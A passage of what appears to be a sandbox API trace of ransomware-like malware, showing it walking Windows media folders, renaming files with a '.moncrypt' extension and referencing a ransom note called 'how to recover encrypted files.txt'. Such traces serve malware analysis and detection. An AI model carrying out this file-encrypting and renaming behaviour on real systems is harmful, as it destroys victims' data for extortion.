MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\background.png.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\background.png.moncrypt")) returned 0 [0057.493] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 1 [0057.493] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.493] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.494] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.494] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.494] GlobalUnlock (hMem=0x440004) returned 0 [0057.494] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.494] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.494] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.494] GlobalUnlock (hMem=0x440004) returned 0 [0057.494] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.494] GlobalUnlock (hMem=0x44000c) returned 0 [0057.494] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.494] CharLowerBuffW (in: lpsz="bear_formatted_matte2.wmv", cchLength=0x19 | out: lpsz="bear_formatted_matte2.wmv") returned 0x19 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.494] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.495] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmvt", lpUsedDefaultChar=0x0) returned 78 [0057.495] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyGirl\\bear_formatted_matte2.wmvt", lpUsedDefaultChar=0x0) returned 4 [0057.495] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728cb02c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728cb02c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49fe5c4f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c432, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_matte2.wmv", cAlternateFileName="")) returned 0x54e280 [0057.495] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.495] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.495] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.496] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv", dwFileAttributes=0x20) returned 0 [0057.498] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.498] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\bear_formatted_matte2.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2.wmv.moncrypt")) returned 0 [0057.498] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 1 [0057.498] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.498] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.499] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.499] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.499] GlobalUnlock (hMem=0x44000c) returned 0 [0057.499] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.499] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.499] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.499] GlobalUnlock (hMem=0x44000c) returned 0 [0057.499] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.499] GlobalUnlock (hMem=0x440004) returned 0 [0057.499] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.499] CharLowerBuffW (in: lpsz="Bear_Formatted_MATTE2_PAL.wmv", cchLength=0x1d | out: lpsz="bear_formatted_matte2_pal.wmv") returned 0x1d [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.499] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.500] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv", cchWideChar=82, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmvd", lpUsedDefaultChar=0x0) returned 82 [0057.500] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.500] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmvd", lpUsedDefaultChar=0x0) returned 4 [0057.500] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x728f1189, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x728f1189, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a058069, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2c44a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bear_Formatted_MATTE2_PAL.wmv", cAlternateFileName="")) returned 0x54e280 [0057.501] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.501] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.501] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.501] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv", dwFileAttributes=0x20) returned 0 [0057.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.501] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\Bear_Formatted_MATTE2_PAL.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babygirl\\bear_formatted_matte2_pal.wmv.moncrypt")) returned 0 [0057.501] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x729172e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x729172e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4a351bc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x39ef2, dwReserved0=0x0, dwReserved1=0x0, cFileName="bear_formatted_rgb6.wmv", cAlternateFileName="")) returned 1 [0057.501] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.502] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.502] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.502] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.502] GlobalUnlock (hMem=0x440004) returned 0 [0057.502] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.502] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.502] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.502] GlobalUnlock (hMem=0x440004) returned 0 [0057.502] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.502] GlobalUnlock (hMem=0x44000c) returned 0 [0057.502] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.502] CharLowerBuffW (in: 